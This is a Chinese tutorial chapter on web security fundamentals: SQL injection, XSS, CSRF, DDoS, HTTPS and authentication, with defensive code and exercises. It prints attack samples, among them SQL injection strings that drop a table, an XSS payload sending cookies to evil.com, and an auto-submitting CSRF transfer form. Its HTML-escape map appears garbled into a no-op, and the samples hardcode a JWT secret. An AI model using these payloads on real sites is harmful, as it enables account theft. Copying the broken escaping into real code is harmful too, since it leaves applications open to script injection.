第5章 - 网络安全基础
嗨,朋友!
在互联网时代,网络安全已经成为每个开发者都必须关注的话题。不论你是前端、后端还是运维,都可能面临各种网络安全威胁。一次安全漏洞可能导致数据泄露、服务瘫痪,甚至法律责任。
今天我们来学习最常见的网络攻击和防御措施,让你的应用更加安全可靠。这些知识在实际工作中非常实用,也是面试的高频考点。
🤔 为什么要关注网络安全?
真实案例
案例1: SQL注入导致数据泄露 💔
某电商网站因SQL注入漏洞,
1000万用户数据被窃取,
包括姓名、手机号、地址...
损失: 赔偿金 + 罚款 + 信誉 = 数千万
案例2: DDoS攻击导致服务瘫痪 💥
某游戏公司遭受DDoS攻击,
服务器被打垮,游戏无法登录,
持续3小时,影响百万玩家,
直接经济损失数百万。
案例3: XSS攻击窃取用户信息 🎣
某社交网站存在XSS漏洞,
黑客注入恶意脚本,
窃取用户Cookie和Token,
导致账号被盗。
安全的重要性
安全第一
安全是底线,功能可以慢慢完善,但安全问题一旦出现,后果不堪设想:
- 💰 经济损失:赔偿、罚款、业务损失
- 📉 信誉损失:用户流失、品牌受损
- ⚖️ 法律责任:违反数据保护法可能被起诉
- 😰 心理压力:开发者、公司承受巨大压力
⚔️ 常见网络攻击
1. SQL注入 (SQL Injection)
原理:攻击者在输入中注入SQL代码,改变查询逻辑。
不安全的代码:
// ❌ 危险!直接拼接SQL
const username = req.body.username; // 用户输入: admin' OR '1'='1
const password = req.body.password; // 用户输入: anything
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
// 实际执行的SQL:
// SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
// '1'='1' 永远为真,绕过密码验证! 💀
db.query(sql, (err, result) => {
if (result.length > 0) {
// 登录成功! (但实际是被攻击了)
}
});
攻击示例:
-- 删除整个表
username: admin'; DROP TABLE users; --
-- 获取所有用户
username: ' OR '1'='1' --
-- 获取管理员权限
username: admin' OR role='admin' --
安全的代码 ✅:
// ✅ 使用参数化查询
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, result) => {
// 参数会被正确转义,SQL注入无效
});
// ✅ 使用ORM(如Sequelize)
const user = await User.findOne({
where: {
username: username,
password: password
}
});
// ✅ 使用prepared statement
const stmt = db.prepare('SELECT * FROM users WHERE username = ? AND password = ?');
const result = stmt.get(username, password);
2. 跨站脚本攻击 (XSS - Cross-Site Scripting)
原理:攻击者注入恶意JavaScript代码到网页,在其他用户浏览时执行。
XSS类型:
反射型XSS
<!-- 不安全的代码 -->
<div>
搜索结果: <%= searchQuery %> <!-- 直接输出用户输入 ❌ -->
</div>
<!-- 攻击者构造URL -->
https://example.com/search?q=<script>alert(document.cookie)</script>
<!-- 渲染结果 -->
<div>
搜索结果: <script>alert(document.cookie)</script> <!-- 脚本会执行! 💀 -->
</div>
存储型XSS
// 用户发表评论
comment: '<script>fetch("https://evil.com?cookie="+document.cookie)</script>'
// 存储到数据库
db.save({ content: comment }); // ❌ 直接存储
// 其他用户浏览评论时,脚本会执行,Cookie被窃取! 💀
防御措施 ✅:
// 1. 转义HTML特殊字符
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
const safeOutput = escapeHtml(userInput);
// 2. 使用React/Vue(自动转义)
// React
<div>{userInput}</div> // ✅ 自动转义
// Vue
<div>{{ userInput }}</div> // ✅ 自动转义
// 3. 设置Content Security Policy (CSP)
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'"
);
// 4. 使用HTTP-only Cookie
res.cookie('session', token, {
httpOnly: true, // JavaScript无法读取
secure: true, // 只在HTTPS下传输
sameSite: 'strict'
});
3. 跨站请求伪造 (CSRF - Cross-Site Request Forgery)
原理:攻击者诱导用户访问恶意网站,利用用户的登录状态发起非法请求。
攻击场景:
<!-- 用户已登录 bank.com -->
<!-- 攻击者构造恶意页面 evil.com -->
<!DOCTYPE html>
<html>
<body>
<!-- 隐藏的表单,自动提交 -->
<form action="https://bank.com/transfer" method="POST" id="hack">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('hack').submit(); // 自动提交
</script>
<!-- 或使用img标签 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none">
</body>
</html>
<!-- 用户访问evil.com,钱就被转走了! 💀 -->
防御措施 ✅:
// 1. 使用CSRF Token
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
// 生成CSRF Token
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// 验证CSRF Token
// 如果token无效,自动返回403
processTransfer(req.body);
});
// 前端表单
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<input name="to" placeholder="收款人">
<input name="amount" placeholder="金额">
<button>转账</button>
</form>
// 2. 验证Referer
app.post('/transfer', (req, res) => {
const referer = req.get('Referer');
if (!referer || !referer.startsWith('https://bank.com')) {
return res.status(403).send('Forbidden');
}
// 继续处理
});
// 3. 设置SameSite Cookie
res.cookie('session', token, {
sameSite: 'strict', // 严格模式,完全禁止第三方Cookie
// 或 sameSite: 'lax' // 宽松模式,允许安全的跨站请求
});
// 4. 双重Cookie验证
app.post('/transfer', (req, res) => {
const cookieToken = req.cookies.csrfToken;
const bodyToken = req.body.csrfToken;
if (cookieToken !== bodyToken) {
return res.status(403).send('CSRF token mismatch');
}
// 继续处理
});
4. DDoS攻击 (Distributed Denial of Service)
原理:通过大量请求耗尽服务器资源,导致正常用户无法访问。
攻击类型:
1. SYN Flood (TCP三次握手攻击)
攻击者发送大量SYN包,不回应ACK
服务器半连接队列被占满
2. HTTP Flood (应用层攻击)
发送大量看似正常的HTTP请求
消耗服务器CPU和带宽
3. DNS放大攻击
利用DNS服务器放大流量
小请求→大响应→淹没目标
防御措施 ✅:
// 1. 限流 (Rate Limiting)
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟
max: 100, // 最多100个请求
message: '请求过于频繁,请稍后再试'
});
app.use('/api/', limiter);
// 2. IP黑名单
const blockedIPs = new Set(['1.2.3.4', '5.6.7.8']);
app.use((req, res, next) => {
const clientIP = req.ip;
if (blockedIPs.has(clientIP)) {
return res.status(403).send('Forbidden');
}
next();
});
// 3. 验证码
app.post('/api/login', async (req, res) => {
// 验证Google reCAPTCHA
const captchaValid = await verifyCaptcha(req.body.captcha);
if (!captchaValid) {
return res.status(400).send('验证码错误');
}
// 继续登录逻辑
});
系统级防御:
# Linux - 防御SYN Flood
sudo sysctl -w net.ipv4.tcp_syncookies=1
sudo sysctl -w net.ipv4.tcp_max_syn_backlog=4096
# 使用防火墙
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP
# 使用CDN和DDoS防护服务
# - Cloudflare
# - AWS Shield
# - 阿里云DDoS防护
🔐 HTTPS加密原理
HTTP vs HTTPS
HTTP的问题:
客户端 ──明文数据→ 中间人(可以窃听和篡改) ──→ 服务器
←明文数据── 中间人(可以窃听和篡改) ←─── 服务器
危险:
- 密码被窃取 💀
- 数据被篡改 💀
- 无法确认服务器真实性 💀
HTTPS的解决:
客户端 ──加密数据→ 中间人(无法解密) ──→ 服务器
←加密数据── 中间人(无法解密) ←─── 服务器
安全:
- 数据加密传输 ✅
- 数据完整性验证 ✅
- 服务器身份认证 ✅
HTTPS握手过程
第1步: 客户端 Hello
客户端 → 服务器: 支持的加密算法列表
第2步: 服务器 Hello
服务器 → 客户端:
- 选择的加密算法
- 服务器证书(包含公钥)
第3步: 验证证书
客户端:
- 验证证书是否由可信CA签发
- 验证证书是否过期
- 验证证书域名是否匹配
第4步: 生成密钥
客户端:
- 生成随机数(预主密钥)
- 用服务器公钥加密
- 发送给服务器
第5步: 服务器解密
服务器:
- 用私钥解密,得到预主密钥
- 双方都有了预主密钥
第6步: 生成会话密钥
客户端和服务器:
- 用预主密钥生成对称加密密钥
- 后续通信使用对称加密(快速)
第7步: 加密通信
客户端 ⇄ 服务器: 使用会话密钥加密数据
Node.js配置HTTPS
const https = require('https');
const fs = require('fs');
// 读取SSL证书
const options = {
key: fs.readFileSync('private-key.pem'), // 私钥
cert: fs.readFileSync('certificate.pem'), // 证书
// ca: fs.readFileSync('ca-certificate.pem') // CA证书(可选)
};
// 创建HTTPS服务器
const server = https.createServer(options, (req, res) => {
res.writeHead(200);
res.end('Hello HTTPS!');
});
server.listen(443, () => {
console.log('HTTPS服务器运行在 https://localhost:443');
});
Nginx配置HTTPS
server {
listen 443 ssl http2;
server_name example.com;
# SSL证书配置
ssl_certificate /path/to/certificate.pem;
ssl_certificate_key /path/to/private-key.pem;
# SSL优化配置
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# 启用HSTS(强制HTTPS)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
location / {
proxy_pass http://backend:3000;
}
}
# HTTP自动跳转HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$host$request_uri;
}
获取免费SSL证书
Let's Encrypt (免费、自动化):
# 安装Certbot
sudo apt-get install certbot python3-certbot-nginx
# 自动配置Nginx
sudo certbot --nginx -d example.com -d www.example.com
# 手动获取证书
sudo certbot certonly --standalone -d example.com
# 自动续期(证书有效期90天)
sudo certbot renew
# 设置自动续期任务
sudo crontab -e
# 添加:
0 0 * * 0 certbot renew --quiet
🔑 认证与授权
常见认证方式
1. Session-Cookie认证
// 登录接口
app.post('/login', (req, res) => {
const { username, password } = req.body;
// 验证用户名密码
const user = verifyUser(username, password);
if (!user) {
return res.status(401).send('用户名或密码错误');
}
// 创建Session
req.session.userId = user.id;
req.session.username = user.username;
// 返回成功(Session ID会自动设置到Cookie)
res.json({ message: '登录成功', user });
});
// 受保护的接口
app.get('/profile', (req, res) => {
// 检查Session
if (!req.session.userId) {
return res.status(401).send('未登录');
}
// 返回用户信息
const user = getUserById(req.session.userId);
res.json(user);
});
// 登出接口
app.post('/logout', (req, res) => {
req.session.destroy();
res.json({ message: '登出成功' });
});
2. JWT (JSON Web Token)
const jwt = require('jsonwebtoken');
const SECRET_KEY = 'your-secret-key';
// 登录接口
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = verifyUser(username, password);
if (!user) {
return res.status(401).send('用户名或密码错误');
}
// 生成JWT
const token = jwt.sign(
{ userId: user.id, username: user.username },
SECRET_KEY,
{ expiresIn: '1h' } // 1小时过期
);
res.json({ token });
});
// 认证中间件
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN
if (!token) {
return res.status(401).send('未提供Token');
}
jwt.verify(token, SECRET_KEY, (err, user) => {
if (err) {
return res.status(403).send('Token无效或已过期');
}
req.user = user;
next();
});
}
// 受保护的接口
app.get('/profile', authenticateToken, (req, res) => {
const user = getUserById(req.user.userId);
res.json(user);
});
前端使用JWT:
// 登录后保存Token
const response = await fetch('/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
});
const { token } = await response.json();
localStorage.setItem('token', token);
// 后续请求携带Token
const profileResponse = await fetch('/profile', {
headers: {
'Authorization': `Bearer ${localStorage.getItem('token')}`
}
});
Session vs JWT
| 对比项 | Session-Cookie | JWT |
|---|---|---|
| 存储位置 | 服务器(Session存储) | 客户端(LocalStorage/Cookie) |
| 可扩展性 | 差(需要Session共享) | 好(无状态) |
| 安全性 | 较高(服务器控制) | 较低(客户端可见) |
| 性能 | 需要查询Session存储 | 无需查询,快速验证 |
| 注销 | 简单(删除Session) | 复杂(需要黑名单) |
| 适用场景 | 传统Web应用 | 分布式系统、API |
🛡️ 安全最佳实践
1. 输入验证
const validator = require('validator');
app.post('/register', (req, res) => {
const { email, password, age } = req.body;
// 验证邮箱
if (!validator.isEmail(email)) {
return res.status(400).send('邮箱格式不正确');
}
// 验证密码强度
if (!validator.isStrongPassword(password, {
minLength: 8,
minLowercase: 1,
minUppercase: 1,
minNumbers: 1,
minSymbols: 1
})) {
return res.status(400).send('密码强度不够');
}
// 验证年龄
if (!validator.isInt(String(age), { min: 18, max: 120 })) {
return res.status(400).send('年龄必须在18-120之间');
}
// 继续注册逻辑
});
2. 密码加密
const bcrypt = require('bcrypt');
// 注册时加密密码
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// 加盐加密(10轮)
const hashedPassword = await bcrypt.hash(password, 10);
// 存储到数据库
await db.save({
username,
password: hashedPassword // 存储加密后的密码
});
res.json({ message: '注册成功' });
});
// 登录时验证密码
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.findOne({ username });
if (!user) {
return res.status(401).send('用户不存在');
}
// 比对密码
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).send('密码错误');
}
// 登录成功
res.json({ message: '登录成功' });
});
3. 安全响应头
const helmet = require('helmet');
// 使用helmet设置多种安全响应头
app.use(helmet());
// 或手动设置
app.use((req, res, next) => {
// 防止点击劫持
res.setHeader('X-Frame-Options', 'DENY');
// XSS保护
res.setHeader('X-XSS-Protection', '1; mode=block');
// 禁止嗅探MIME类型
res.setHeader('X-Content-Type-Options', 'nosniff');
// CSP
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline'"
);
// HSTS(强制HTTPS)
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains'
);
next();
});
4. 日志和监控
const winston = require('winston');
// 配置日志
const logger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'combined.log' })
]
});
// 记录安全事件
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = verifyUser(username, password);
if (!user) {
// 记录失败的登录尝试
logger.warn('登录失败', {
username,
ip: req.ip,
userAgent: req.get('User-Agent'),
timestamp: new Date()
});
return res.status(401).send('登录失败');
}
// 记录成功的登录
logger.info('登录成功', {
userId: user.id,
username: user.username,
ip: req.ip
});
res.json({ message: '登录成功' });
});
// 监控异常登录
app.use((err, req, res, next) => {
logger.error('服务器错误', {
error: err.message,
stack: err.stack,
url: req.url,
method: req.method,
ip: req.ip
});
res.status(500).send('服务器错误');
});
🔍 安全检查清单
开发阶段 ✅
- [ ] 使用参数化查询,防止SQL注入
- [ ] 转义所有用户输入,防止XSS
- [ ] 实现CSRF防护
- [ ] 使用HTTPS加密传输
- [ ] 密码使用bcrypt加密存储
- [ ] 实现合理的认证授权机制
- [ ] 输入验证(邮箱、密码强度等)
- [ ] 设置安全响应头
- [ ] 实现限流防止暴力破解
- [ ] 敏感数据不要暴露在前端
部署阶段 ✅
- [ ] 使用最新版本的依赖
- [ ] 定期更新安全补丁
- [ ] 配置防火墙
- [ ] 关闭不必要的端口和服务
- [ ] 使用环境变量存储敏感配置
- [ ] 配置日志和监控
- [ ] 备份数据
- [ ] 制定应急响应计划
持续监控 ✅
- [ ] 监控异常登录行为
- [ ] 监控服务器资源使用
- [ ] 定期审计代码
- [ ] 定期渗透测试
- [ ] 关注安全公告
💡 学习建议
1. 安全意识第一 🧠
永远不要信任用户输入:
- 所有输入都可能是恶意的
- 验证、过滤、转义一个都不能少
2. 学习常见漏洞 📚
OWASP Top 10 (最常见的Web安全风险):
- 注入攻击(SQL注入、命令注入)
- 失效的身份认证
- 敏感数据泄露
- XML外部实体(XXE)
- 失效的访问控制
- 安全配置错误
- XSS
- 不安全的反序列化
- 使用含有已知漏洞的组件
- 日志和监控不足
3. 实践为主 💻
- 尝试攻击自己的应用(在合法环境)
- 使用安全扫描工具
- 参与CTF比赛
📝 练习题
基础题
- SQL注入是什么?如何防御?
点击查看答案
SQL注入:攻击者在输入中注入SQL代码,改变查询逻辑。
防御方法:
使用参数化查询(最重要):
// ✅ 正确 db.query('SELECT * FROM users WHERE id = ?', [userId]); // ❌ 错误 db.query(`SELECT * FROM users WHERE id = ${userId}`);使用ORM:Sequelize、TypeORM等会自动防止SQL注入
输入验证:验证输入格式,过滤特殊字符
最小权限原则:数据库用户只给必要的权限
错误信息不要暴露SQL:避免将详细的SQL错误返回给用户
- XSS攻击有哪几种类型?如何防御?
点击查看答案
XSS类型:
反射型XSS:恶意脚本通过URL参数注入,立即执行
- 例:
?search=<script>alert(1)</script>
- 例:
存储型XSS:恶意脚本存储到数据库,其他用户访问时执行
- 例:评论中注入脚本
DOM型XSS:通过修改DOM执行脚本
- 例:
location.hash = '<script>alert(1)</script>'
- 例:
防御方法:
转义HTML特殊字符:
function escapeHtml(text) { return text.replace(/[&<>"']/g, m => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[m]); }使用框架的自动转义:React、Vue自动转义
Content Security Policy (CSP):
res.setHeader('Content-Security-Policy', "script-src 'self'");HttpOnly Cookie:防止JavaScript读取Cookie
进阶题
- 实现一个完整的登录系统,包含CSRF防护、密码加密、JWT认证。
点击查看答案
const express = require('express');
const bcrypt = require('bcrypt');
const jwt = require('jsonwebtoken');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const app = express();
app.use(express.json());
app.use(cookieParser());
const SECRET_KEY = 'your-secret-key';
const csrfProtection = csrf({ cookie: true });
// 注册
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// 密码加密
const hashedPassword = await bcrypt.hash(password, 10);
// 保存到数据库(简化)
users.set(username, {
username,
password: hashedPassword
});
res.json({ message: '注册成功' });
});
// 登录页面(获取CSRF Token)
app.get('/login', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// 登录
app.post('/login', csrfProtection, async (req, res) => {
const { username, password } = req.body;
// 查找用户
const user = users.get(username);
if (!user) {
return res.status(401).json({ error: '用户不存在' });
}
// 验证密码
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).json({ error: '密码错误' });
}
// 生成JWT
const token = jwt.sign(
{ username: user.username },
SECRET_KEY,
{ expiresIn: '1h' }
);
res.json({ token });
});
// 认证中间件
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).json({ error: '未提供Token' });
}
jwt.verify(token, SECRET_KEY, (err, user) => {
if (err) {
return res.status(403).json({ error: 'Token无效' });
}
req.user = user;
next();
});
}
// 受保护的路由
app.get('/profile', authenticateToken, (req, res) => {
res.json({ username: req.user.username });
});
app.listen(3000);
- 如何防御DDoS攻击?列举至少5种方法。
点击查看答案
DDoS防御方法:
限流(Rate Limiting):
const rateLimit = require('express-rate-limit'); app.use(rateLimit({ windowMs: 15 * 60 * 1000, max: 100 }));使用CDN:
- Cloudflare、AWS CloudFront
- 分散流量到全球节点
启用SYN Cookie:
sudo sysctl -w net.ipv4.tcp_syncookies=1增加带宽:
- 使用弹性带宽
- 准备应急带宽
IP黑名单/白名单:
const blockedIPs = new Set(['1.2.3.4']); app.use((req, res, next) => { if (blockedIPs.has(req.ip)) { return res.status(403).send('Forbidden'); } next(); });验证码:
- 对可疑请求要求验证码
- 防止自动化攻击
DDoS防护服务:
- AWS Shield
- 阿里云DDoS防护
- 腾讯云DDoS防护
监控和报警:
- 实时监控流量
- 异常流量自动报警
负载均衡:
- 分散请求到多台服务器
- 单台被攻击不影响全局
Web应用防火墙(WAF):
- 过滤恶意请求
- 识别攻击模式
🎓 下一步学习
恭喜你!现在你已经掌握了网络安全的基础知识。
建议继续学习:
- 实战案例 - 网络问题排查 - 实际安全问题的诊断和处理
- 第1章 - TCP三次握手与四次挥手 - SYN攻击的深入理解
- OWASP官方文档 - 深入学习Web安全
推荐资源:
- OWASP Top 10
- 《Web安全深度剖析》
- HackerOne、BugBounty平台练习
- CTF竞赛
安全学习路线:
- 理解常见攻击原理
- 学习防御技术
- 实践安全编码
- 参与安全测试
- 持续关注安全动态
关键概念回顾:
- ✅ SQL注入通过参数化查询防御
- ✅ XSS通过转义HTML和CSP防御
- ✅ CSRF通过Token和SameSite Cookie防御
- ✅ DDoS通过限流、CDN、防护服务防御
- ✅ HTTPS通过SSL/TLS加密保护数据传输
- ✅ 密码必须使用bcrypt等算法加密存储
- ✅ 安全是持续的过程,需要不断学习和更新
